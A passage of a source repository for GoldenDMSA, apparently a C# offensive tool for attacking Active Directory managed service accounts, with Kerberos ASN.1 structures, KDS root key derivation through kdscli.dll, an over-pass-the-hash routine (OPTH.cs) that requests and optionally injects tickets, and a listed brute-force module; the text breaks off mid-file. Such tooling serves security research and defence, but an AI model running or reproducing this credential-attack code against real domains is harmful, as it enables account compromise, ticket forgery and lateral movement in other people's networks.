├── assets
├── Kds.jpg
├── Info.jpg
├── Wordlist.jpg
└── Bruteforce.jpg
├── GoldendMSA
├── App.config
├── packages.config
├── lib
│ ├── Asn1
│ │ └── AsnException.cs
│ ├── krb_structures
│ │ ├── PA_KEY_LIST_REP.cs
│ │ ├── KrbSubjectPublicKeyInfo.cs
│ │ ├── PA_KEY_LIST_REQ.cs
│ │ ├── KrbAlgorithmIdentifier.cs
│ │ ├── PA_SUPERSEDED_BY_USER.cs
│ │ ├── KrbAuthPack.cs
│ │ ├── PA_PK_AS_REP.cs
│ │ ├── PA_DMSA_KEY_PACKAGE.cs
│ │ ├── LastReq.cs
│ │ ├── PA_ENC_TS_ENC.cs
│ │ ├── PA_PAC_OPTIONS.cs
│ │ ├── KrbKDCDHKeyInfo.cs
│ │ ├── ETYPE_INFO2_ENTRY.cs
│ │ ├── KrbPkAuthenticator.cs
│ │ ├── KERB_PA_PAC_REQUEST.cs
│ │ ├── PA_PK_AS_REQ.cs
│ │ ├── KrbDHRepInfo.cs
│ │ ├── EncKrbCredPart.cs
│ │ ├── EncryptedPAData.cs
│ │ ├── EncryptionKey.cs
│ │ ├── HostAddress.cs
│ │ ├── EncryptedData.cs
│ │ ├── AS_REP.cs
│ │ ├── Ticket.cs
│ │ ├── KRB_CRED.cs
│ │ ├── PrincipalName.cs
│ │ ├── EncKDCRepPart.cs
│ │ ├── KRB_ERROR.cs
│ │ ├── AS_REQ.cs
│ │ ├── PA_DATA.cs
│ │ ├── KrbCredInfo.cs
│ │ └── KDC_REQ_BODY.cs
│ └── Luid.cs
├── L0Key.cs
├── KdsUtils.cs
├── Unsafe
│ └── KdsCli.cs
├── OPTH.cs
├── Properties
│ └── AssemblyInfo.cs
├── MsdsManagedPasswordld.cs
├── BruteForceDMSA.cs
├── LSA.cs
├── GmsaAccount.cs
├── LdapUtils.cs
├── GoldendMSA.csproj
├── Ask.cs
├── GroupKeyEnvelope.cs
├── LdapEnumeration.cs
├── GmsaPassword.cs
├── Helpers.cs
├── GetKey.cs
├── RootKey.cs
└── Cryptography.cs
├── GoldendMSA.sln
├── LICENSE
├── README.md
└── .gitignore
/assets/Kds.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Semperis/GoldenDMSA/HEAD/assets/Kds.jpg
--------------------------------------------------------------------------------
/assets/Info.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Semperis/GoldenDMSA/HEAD/assets/Info.jpg
--------------------------------------------------------------------------------
/assets/Wordlist.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Semperis/GoldenDMSA/HEAD/assets/Wordlist.jpg
--------------------------------------------------------------------------------
/assets/Bruteforce.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Semperis/GoldenDMSA/HEAD/assets/Bruteforce.jpg
--------------------------------------------------------------------------------
/GoldendMSA/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/GoldendMSA/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/Asn1/AsnException.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 |
4 | namespace Asn1 {
5 |
6 | public class AsnException : IOException {
7 |
8 | public AsnException(string message)
9 | : base(message)
10 | {
11 | }
12 |
13 | public AsnException(string message, Exception nested)
14 | : base(message, nested)
15 | {
16 | }
17 | }
18 |
19 | }
20 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/PA_KEY_LIST_REP.cs:
--------------------------------------------------------------------------------
1 | using Asn1;
2 | using System;
3 | using System.Text;
4 |
5 | namespace GoldendMSA
6 | {
7 | public class PA_KEY_LIST_REP
8 | {
9 | // KERB-KEY-LIST-REP ::= SEQUENCE OF EncryptionKey
10 |
11 | public PA_KEY_LIST_REP(AsnElt body)
12 | {
13 | encryptionKey = new EncryptionKey(body);
14 | }
15 |
16 | public EncryptionKey encryptionKey { get; set; }
17 |
18 | }
19 | }
--------------------------------------------------------------------------------
/GoldendMSA/lib/Luid.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace GoldendMSA
5 | {
6 | [StructLayout(LayoutKind.Sequential)]
7 | public struct LUID
8 | {
9 | public UInt32 LowPart;
10 | public Int32 HighPart;
11 |
12 | public static implicit operator ulong(LUID luid)
13 | {
14 | // enable casting to a ulong
15 | UInt64 Value = ((UInt64)luid.HighPart << 32);
16 | return Value + luid.LowPart;
17 | }
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/KrbSubjectPublicKeyInfo.cs:
--------------------------------------------------------------------------------
1 | using Asn1;
2 |
3 | namespace GoldendMSA {
4 | public class KrbSubjectPublicKeyInfo {
5 |
6 | public KrbAlgorithmIdentifier Algorithm { get; set; }
7 | public byte[] SubjectPublicKey { get; set; }
8 |
9 | public AsnElt Encode() {
10 | return AsnElt.Make(
11 | AsnElt.SEQUENCE, new AsnElt[] {
12 | Algorithm.Encode(),
13 | AsnElt.MakeBitString(SubjectPublicKey)
14 | });
15 |
16 | }
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/PA_KEY_LIST_REQ.cs:
--------------------------------------------------------------------------------
1 | using Asn1;
2 | using System;
3 | using System.Text;
4 |
5 | namespace GoldendMSA
6 | {
7 | class PA_KEY_LIST_REQ
8 | {
9 | // KERB-KEY-LIST-REQ::= SEQUENCE OF Int32 -- encryption type --
10 |
11 | public AsnElt Encode()
12 | {
13 | AsnElt enctypeAsn = AsnElt.MakeInteger(Enctype);
14 | AsnElt enctypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { enctypeAsn });
15 | return enctypeSeq;
16 | }
17 |
18 | public Int32 Enctype { get; set; }
19 |
20 | }
21 | }
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/KrbAlgorithmIdentifier.cs:
--------------------------------------------------------------------------------
1 | using Asn1;
2 | using System.Security.Cryptography;
3 |
4 | namespace GoldendMSA {
5 | public class KrbAlgorithmIdentifier {
6 |
7 | public Oid Algorithm { get; set; }
8 | public byte[] Parameters { get; set; }
9 |
10 |
11 | public AsnElt Encode() {
12 |
13 | AsnElt parameters = AsnElt.Decode(Parameters);
14 |
15 | return AsnElt.Make(
16 | AsnElt.SEQUENCE, new AsnElt[] {
17 | AsnElt.MakeOID(Algorithm.Value),
18 | parameters}
19 | );
20 | }
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/PA_SUPERSEDED_BY_USER.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using Asn1;
6 |
7 | namespace GoldendMSA
8 | {
9 | class PA_SUPERSEDED_BY_USER
10 | {
11 | // KERB-SUPERSEDED-BY-USER::= SEQUENCE {
12 | // name[0] PrincipalName,
13 | // realm[1] Realm
14 | //
15 |
16 | public PA_SUPERSEDED_BY_USER(AsnElt body)
17 | {
18 | name = new PrincipalName(body.Sub[0].Sub[0]);
19 | realm = Encoding.UTF8.GetString(body.Sub[1].Sub[0].GetOctetString());
20 | }
21 |
22 | public PrincipalName name { get; set; }
23 | public string realm { get; set; }
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/GoldendMSA/L0Key.cs:
--------------------------------------------------------------------------------
1 |
2 | using System.Globalization;
3 |
4 | namespace GoldendMSA
5 | {
6 | ///
7 | /// This class comes from ComputeL0Key function inside KdsSvc.dll.
8 | /// It takes a RootKey structure, adds a field in the begining (L0KeyID) and modifies the KdsRootKeyData field with a value from GenerateDerivedKey.
9 | ///
10 | public sealed class L0Key : RootKey
11 | {
12 | public long L0KeyID { get; set; }
13 |
14 | public L0Key(RootKey rootKey, long l0KeyID, byte[] derivedKey)
15 | : base(rootKey)
16 | {
17 | this.L0KeyID = l0KeyID;
18 | this.KdsRootKeyData = derivedKey;
19 | }
20 | }
21 | }
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/KrbAuthPack.cs:
--------------------------------------------------------------------------------
1 | using Asn1;
2 | using System.Security.Cryptography.X509Certificates;
3 |
4 | namespace GoldendMSA {
5 | public class KrbAuthPack {
6 |
7 | public KrbPkAuthenticator Authenticator { get; private set; }
8 | public KrbSubjectPublicKeyInfo ClientPublicValue { get; set; }
9 | public byte[] ClientDHNonce { get; set; }
10 |
11 | public AsnElt Encode() {
12 |
13 | return AsnElt.Make(AsnElt.SEQUENCE,
14 | new AsnElt[] {
15 | AsnElt.Make(AsnElt.CONTEXT,0, Authenticator.Encode()),
16 | AsnElt.Make(AsnElt.CONTEXT,1, ClientPublicValue.Encode() ),
17 | //AsnElt.Make(AsnElt.CONTEXT,2, new AsnElt[]{ CMSTypes } ),
18 | AsnElt.Make(AsnElt.CONTEXT,3, AsnElt.MakeBlob(ClientDHNonce))
19 | });
20 | }
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/PA_PK_AS_REP.cs:
--------------------------------------------------------------------------------
1 | using Asn1;
2 | using System;
3 |
4 | namespace GoldendMSA {
5 | public class PA_PK_AS_REP {
6 |
7 | public KrbDHRepInfo DHRepInfo { get; private set; }
8 |
9 | public PA_PK_AS_REP(AsnElt asnElt) {
10 |
11 | if(asnElt.TagClass != AsnElt.CONTEXT || asnElt.Sub.Length > 1) {
12 | throw new ArgumentException("Expected CONTEXT with CHOICE for PA-PK-AS-REP");
13 | }
14 |
15 | switch (asnElt.TagValue) {
16 | case 0: //dhInfo
17 | DHRepInfo = new KrbDHRepInfo(asnElt.Sub[0]);
18 | break;
19 |
20 | case 1: //encKeyPack: TODO
21 | break;
22 |
23 | default:
24 | throw new ArgumentException("Unexpected CHOICE value for PA-PK-AS-REP");
25 | }
26 | }
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/GoldendMSA/KdsUtils.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace GoldendMSA
8 | {
9 | public class KdsUtils
10 | {
11 | public static readonly long KeyCycleDuration = 360000000000;
12 |
13 | public static void GetCurrentIntervalID(
14 | long kdsKeyCycleDuration, // 360000000000
15 | int someFlag, // 0
16 | ref int l0KeyID,
17 | ref int l1KeyID,
18 | ref int l2KeyID)
19 | {
20 | long currentTime = DateTime.Now.ToFileTimeUtc();
21 | if (someFlag != 0)
22 | {
23 | currentTime += 3000000000;
24 | }
25 | int temp = (int)(currentTime / kdsKeyCycleDuration);
26 | l0KeyID = temp / 1024;
27 | l1KeyID = (temp / 32) & 31;
28 | l2KeyID = temp & 31;
29 |
30 | return;
31 | }
32 | }
33 | }
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/PA_DMSA_KEY_PACKAGE.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using Asn1;
6 |
7 | namespace GoldendMSA
8 | {
9 | public class PA_DMSA_KEY_PACKAGE
10 | {
11 | // KERB-DMSA-KEY-PACKAGE::= SEQUENCE {
12 | // current-keys[0] SEQUENCE OF EncryptionKey,
13 | // previous-keys[1] SEQUENCE OF EncryptionKey OPTIONAL,
14 | // expiration-interval[2] KerberosTime,
15 | // fetch-interval[4] KerberosTime,
16 | // }
17 |
18 | public PA_DMSA_KEY_PACKAGE(AsnElt body)
19 | {
20 | currentKeys = new PA_KEY_LIST_REP(body.Sub[0].Sub[0]);
21 | previousKeys = new PA_KEY_LIST_REP(body.Sub[1].Sub[0]);
22 | expirationInterval = body.Sub[2].Sub[0].GetTime();
23 | fetchInterval = body.Sub[3].Sub[0].GetTime();
24 | }
25 | public PA_KEY_LIST_REP currentKeys { get; set; }
26 | public PA_KEY_LIST_REP previousKeys { get; set; }
27 | public DateTime expirationInterval { get; set; }
28 | public DateTime fetchInterval { get; set; }
29 | }
30 | }
31 |
32 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/LastReq.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using Asn1;
3 | using System.Text;
4 | using System.Collections.Generic;
5 |
6 | namespace GoldendMSA
7 | {
8 | public class LastReq
9 | {
10 | //LastReq::= SEQUENCE OF SEQUENCE {
11 | // lr-type[0] Int32,
12 | // lr-value[1] KerberosTime
13 | //}
14 |
15 | public LastReq(AsnElt body)
16 | {
17 | foreach (AsnElt s in body.Sub[0].Sub)
18 | {
19 | switch (s.TagValue)
20 | {
21 | case 0:
22 | lr_type = Convert.ToInt32(s.Sub[0].GetInteger());
23 | break;
24 | case 1:
25 | lr_value = s.Sub[0].GetTime();
26 | break;
27 | default:
28 | break;
29 | }
30 | }
31 | }
32 |
33 |
34 | public Int32 lr_type { get; set; }
35 |
36 | public DateTime lr_value { get; set; }
37 | }
38 | }
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/PA_ENC_TS_ENC.cs:
--------------------------------------------------------------------------------
1 | using Asn1;
2 | using System;
3 | using System.Text;
4 |
5 | namespace GoldendMSA
6 | {
7 | //PA-ENC-TS-ENC ::= SEQUENCE {
8 | // patimestamp[0] KerberosTime, -- client's time
9 | // pausec[1] INTEGER OPTIONAL
10 | //}
11 |
12 | public class PA_ENC_TS_ENC
13 | {
14 | public PA_ENC_TS_ENC()
15 | {
16 | patimestamp = DateTime.UtcNow;
17 | }
18 |
19 | public AsnElt Encode()
20 | {
21 | AsnElt patimestampAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, patimestamp.ToString("yyyyMMddHHmmssZ"));
22 | AsnElt patimestampSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampAsn });
23 | patimestampSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, patimestampSeq);
24 |
25 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampSeq });
26 |
27 | return totalSeq;
28 | }
29 |
30 | public DateTime patimestamp { get; set; }
31 |
32 |
33 | }
34 | }
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/PA_PAC_OPTIONS.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using Asn1;
6 |
7 | namespace GoldendMSA
8 | {
9 | /* PA-PAC-OPTIONS ::= SEQUENCE {
10 | KerberosFlags
11 | -- Claims(0)
12 | -- Branch Aware(1)
13 | -- Forward to Full DC(2)
14 | -- Resource-based Constrained Delegation (3)
15 | }
16 | */
17 |
18 | public class PA_PAC_OPTIONS
19 | {
20 | public byte[] kerberosFlags { get; set; }
21 |
22 | public AsnElt Encode()
23 | {
24 | List allNodes = new List();
25 | AsnElt kerberosFlagsAsn = AsnElt.MakeBitString(kerberosFlags);
26 | kerberosFlagsAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.BIT_STRING, kerberosFlagsAsn);
27 | AsnElt parent = AsnElt.MakeExplicit(0, kerberosFlagsAsn);
28 | allNodes.Add(parent);
29 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray());
30 | return seq;
31 | }
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/GoldendMSA.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.8.34330.188
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "GoldendMSA", "GoldendMSA\GoldendMSA.csproj", "{9A42C0A1-4392-483D-962B-27EE765D17BA}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {9A42C0A1-4392-483D-962B-27EE765D17BA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {9A42C0A1-4392-483D-962B-27EE765D17BA}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {9A42C0A1-4392-483D-962B-27EE765D17BA}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {9A42C0A1-4392-483D-962B-27EE765D17BA}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {DD87283B-6E7F-42A3-A66C-9010E47C858D}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/KrbKDCDHKeyInfo.cs:
--------------------------------------------------------------------------------
1 | using Asn1;
2 | using System;
3 |
4 | namespace GoldendMSA {
5 |
6 | public class KrbKDCDHKeyInfo {
7 |
8 | public byte[] SubjectPublicKey { get; private set; }
9 | public long Nonce { get; private set; }
10 | public DateTime DHKeyExpiration { get; private set; }
11 | public KrbKDCDHKeyInfo(AsnElt asnElt) {
12 |
13 | if(asnElt.TagValue != AsnElt.SEQUENCE) {
14 | throw new ArgumentException("Unexpected tag type for KDCDHKeyInfo");
15 | }
16 |
17 | foreach(AsnElt sub in asnElt.Sub) {
18 | switch (sub.TagValue){
19 | case 0: //subjectPublicKey
20 | SubjectPublicKey = AsnElt.Decode(sub.Sub[0].GetBitString()).GetOctetString();
21 | break;
22 | case 1: //nonce
23 | Nonce = sub.Sub[0].GetInteger(0, uint.MaxValue);
24 | break;
25 | case 2: //dhKeyExpiration
26 | DHKeyExpiration = sub.Sub[0].GetTime();
27 | break;
28 | }
29 | }
30 | }
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/ETYPE_INFO2_ENTRY.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using Asn1;
6 |
7 | namespace GoldendMSA
8 | {
9 | public class ETYPE_INFO2_ENTRY
10 | {
11 | /*
12 | ETYPE-INFO2-ENTRY::= SEQUENCE {
13 | etype [0] Int32 -- EncryptionType --,
14 | salt [1] KerberosString OPTIONAL,
15 | s2kparams [2] INTEGER OPTIONAL
16 | }
17 | */
18 |
19 | public ETYPE_INFO2_ENTRY(AsnElt body)
20 | {
21 | foreach (AsnElt s in body.Sub[0].Sub)
22 | {
23 | switch (s.TagValue)
24 | {
25 | case 0:
26 | etype = Convert.ToInt32(s.Sub[0].GetInteger());
27 | break;
28 | case 1:
29 | salt = Encoding.UTF8.GetString(s.Sub[0].GetOctetString());
30 | break;
31 | default:
32 | break;
33 | }
34 | }
35 | }
36 |
37 | public Int32 etype { get; set; }
38 |
39 | public string salt { get; set; }
40 |
41 | // skip sk2params for now
42 | }
43 | }
44 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/KrbPkAuthenticator.cs:
--------------------------------------------------------------------------------
1 | using Asn1;
2 | using System;
3 | using System.Security.Cryptography;
4 |
5 | namespace GoldendMSA {
6 | public class KrbPkAuthenticator {
7 |
8 |
9 | public KDCReqBody RequestBody { get; private set; }
10 | public uint CuSec { get; set; }
11 | public DateTime CTime { get; set; }
12 | public int Nonce { get; set; }
13 |
14 | public AsnElt Encode() {
15 |
16 | byte[] paChecksum;
17 |
18 | using (SHA1CryptoServiceProvider sha1 = new SHA1CryptoServiceProvider()) {
19 | paChecksum = sha1.ComputeHash(RequestBody.Encode().Encode());
20 | }
21 |
22 | AsnElt asnCTime = AsnElt.MakeString(AsnElt.GeneralizedTime, CTime.ToString("yyyyMMddHHmmssZ"));
23 |
24 | return AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] {
25 | AsnElt.Make(AsnElt.CONTEXT,0, new AsnElt[] { AsnElt.MakeInteger(CuSec) }),
26 | AsnElt.Make(AsnElt.CONTEXT,1, new AsnElt[]{ asnCTime } ),
27 | AsnElt.Make(AsnElt.CONTEXT,2, new AsnElt[]{ AsnElt.MakeInteger(Nonce) } ),
28 | AsnElt.Make(AsnElt.CONTEXT,3, new AsnElt[]{ AsnElt.MakeBlob(paChecksum) })
29 | });
30 | }
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/KERB_PA_PAC_REQUEST.cs:
--------------------------------------------------------------------------------
1 | using Asn1;
2 | using System;
3 | using System.Text;
4 |
5 | namespace GoldendMSA
6 | {
7 | //KERB-PA-PAC-REQUEST ::= SEQUENCE {
8 | // include-pac[0] BOOLEAN --If TRUE, and no pac present, include PAC.
9 | // --If FALSE, and PAC present, remove PAC
10 | //}
11 |
12 | public class KERB_PA_PAC_REQUEST
13 | {
14 | public KERB_PA_PAC_REQUEST(bool pac = true)
15 | {
16 | // default -> include PAC
17 | include_pac = pac;
18 | }
19 |
20 | public KERB_PA_PAC_REQUEST(AsnElt value)
21 | {
22 | include_pac = value.Sub[0].Sub[0].GetBoolean();
23 | }
24 |
25 | public AsnElt Encode()
26 | {
27 | AsnElt ret;
28 |
29 | if (include_pac)
30 | {
31 | ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x01 });
32 | }
33 | else
34 | {
35 | ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x00 });
36 | }
37 |
38 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ret });
39 |
40 | return seq;
41 | }
42 |
43 | public bool include_pac { get; set; }
44 | }
45 | }
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/PA_PK_AS_REQ.cs:
--------------------------------------------------------------------------------
1 | using Asn1;
2 | using System.Security.Cryptography;
3 | using System.Security.Cryptography.Pkcs;
4 | using System.Security.Cryptography.X509Certificates;
5 |
6 | namespace GoldendMSA {
7 | public class PA_PK_AS_REQ {
8 |
9 | public static readonly Oid IdPkInitAuthData = new Oid("1.3.6.1.5.2.3.1");
10 | public KrbAuthPack AuthPack { get; private set; }
11 | public X509Certificate2 PKCert { get; private set; }
12 | public bool VerifyCerts { get; private set; }
13 |
14 | public AsnElt Encode() {
15 |
16 | SignedCms signed = new SignedCms(
17 | new ContentInfo(
18 | IdPkInitAuthData,
19 | AuthPack.Encode().Encode()
20 | )
21 | );
22 |
23 | var signer = new CmsSigner(PKCert);
24 | if(!VerifyCerts)
25 | {
26 | signer.IncludeOption = X509IncludeOption.EndCertOnly; // only the end certificate is included in the X.509 chain information.
27 | }
28 | signed.ComputeSignature(signer, silent: false);
29 |
30 | return AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] {
31 | // SignedAuthPack must be implict for wireshark
32 | AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, AsnElt.MakeBlob(signed.Encode()))
33 | });
34 | }
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/GoldendMSA/Unsafe/KdsCli.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace GoldendMSA.Unsafe
9 | {
10 | public static class KdsCli
11 | {
12 | [DllImport(@"kdscli.dll", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.StdCall)]
13 | public static extern uint GenerateKDFContext(
14 | byte[] guid, // KDS Root Key identifier
15 | int contextInit,
16 | long contextInit2,
17 | long contextInit3,
18 | int flag,
19 | out IntPtr outContext,
20 | out int outContextSize,
21 | out int flag2);
22 |
23 |
24 | [DllImport(@"kdscli.dll", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.StdCall)]
25 | public static extern uint GenerateDerivedKey(
26 | string kdfAlgorithmId,
27 | byte[] kdfParam,
28 | int kdfParamSize,
29 | byte[] pbSecret,
30 | long cbSecret,
31 | byte[] context,
32 | int contextSize,
33 | ref int notSure,
34 | byte[] label,
35 | int labelSize,
36 | int notsureFlag,
37 | [MarshalAs(UnmanagedType.LPArray)] byte[] pbDerivedKey,
38 | int cbDerivedKey,
39 | int AlwaysZero);
40 |
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/GoldendMSA/OPTH.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 |
4 | namespace GoldendMSA
5 | {
6 |
7 | public class OPTH
8 | {
9 |
10 | public static int Over_pass_the_hash(string username, string domainName, string aes256, bool ptt, bool verbose )
11 | {
12 |
13 | Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
14 | Interop.KERB_ETYPE suppEncType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
15 |
16 | try
17 | {
18 | byte[] response = Ask.TGT(username, domainName, aes256, encType, ptt, suppEncType, verbose);
19 | if (response.Length > 300) // random number that I chose to check if there is a ticket
20 | {
21 | return 1;
22 | }
23 | }
24 | catch (KRB_ERROR ex)
25 | {
26 | if (verbose)
27 | {
28 |
29 | try
30 | {
31 |
32 | Console.WriteLine("\r\n[X] ERROR : {0}: {1}\r\n", (Interop.KERBEROS_ERROR)ex.error_code, ex.e_text);
33 |
34 |
35 | }
36 | catch
37 | {
38 | Console.WriteLine("\r\n[X] ERROR : {1}\r\n", (Interop.KERBEROS_ERROR)ex.error_code);
39 | }
40 | }
41 | }
42 | return 0;
43 |
44 | }
45 |
46 |
47 | }
48 |
49 | }
--------------------------------------------------------------------------------
/GoldendMSA/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("Golden MSA")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("Golden MSA")]
13 | [assembly: AssemblyCopyright("Copyright © 2025")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("9a42c0a1-4392-483d-962b-27ee765d17ba")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/KrbDHRepInfo.cs:
--------------------------------------------------------------------------------
1 | using Asn1;
2 | using System;
3 | using System.Security.Cryptography;
4 | using System.Security.Cryptography.Pkcs;
5 |
6 | namespace GoldendMSA {
7 | public class KrbDHRepInfo{
8 | public byte[] ServerDHNonce { get; private set; }
9 | public byte[] DHSignedData { get; private set; }
10 | public KrbKDCDHKeyInfo KDCDHKeyInfo { get; private set; }
11 |
12 | public KrbDHRepInfo(AsnElt asnElt) {
13 |
14 | if(asnElt.TagValue != AsnElt.SEQUENCE) {
15 | throw new ArgumentException("Expected SEQUENCE for type DHRepInfo");
16 | }
17 |
18 | foreach(AsnElt seq in asnElt.Sub) {
19 | switch (seq.TagValue) {
20 | case 0: //dhSignedData
21 | DHSignedData = seq.GetOctetString();
22 | SignedCms cms = new SignedCms();
23 | cms.Decode(DHSignedData);
24 |
25 | try {
26 | cms.CheckSignature(true);
27 | } catch (CryptographicException) {
28 | Console.WriteLine("[!] DHRepInfo Signature Not Valid! - Do you even care?");
29 | }
30 |
31 | KDCDHKeyInfo = new KrbKDCDHKeyInfo(AsnElt.Decode(cms.ContentInfo.Content));
32 | break;
33 |
34 | case 1: //serverDHNonce
35 | ServerDHNonce = seq.GetOctetString();
36 | break;
37 | }
38 | }
39 | }
40 | }
41 | }
42 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/EncKrbCredPart.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using Asn1;
3 | using System.Collections.Generic;
4 |
5 | namespace GoldendMSA
6 | {
7 | //EncKrbCredPart ::= [APPLICATION 29] SEQUENCE {
8 | // ticket-info [0] SEQUENCE OF KrbCredInfo,
9 | // nonce [1] UInt32 OPTIONAL,
10 | // timestamp [2] KerberosTime OPTIONAL,
11 | // usec [3] Microseconds OPTIONAL,
12 | // s-address [4] HostAddress OPTIONAL,
13 | // r-address [5] HostAddress OPTIONAL
14 | //}
15 |
16 | public class EncKrbCredPart
17 | {
18 | public EncKrbCredPart()
19 | {
20 | // TODO: defaults for creation
21 | ticket_info = new List();
22 | }
23 |
24 | public AsnElt Encode()
25 | {
26 | // ticket-info [0] SEQUENCE OF KrbCredInfo
27 | // assume just one ticket-info for now
28 | // TODO: handle multiple ticket-infos
29 | AsnElt infoAsn = ticket_info[0].Encode();
30 | AsnElt seq1 = AsnElt.Make(AsnElt.SEQUENCE, new[] { infoAsn });
31 | AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq1 });
32 | seq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, seq2);
33 |
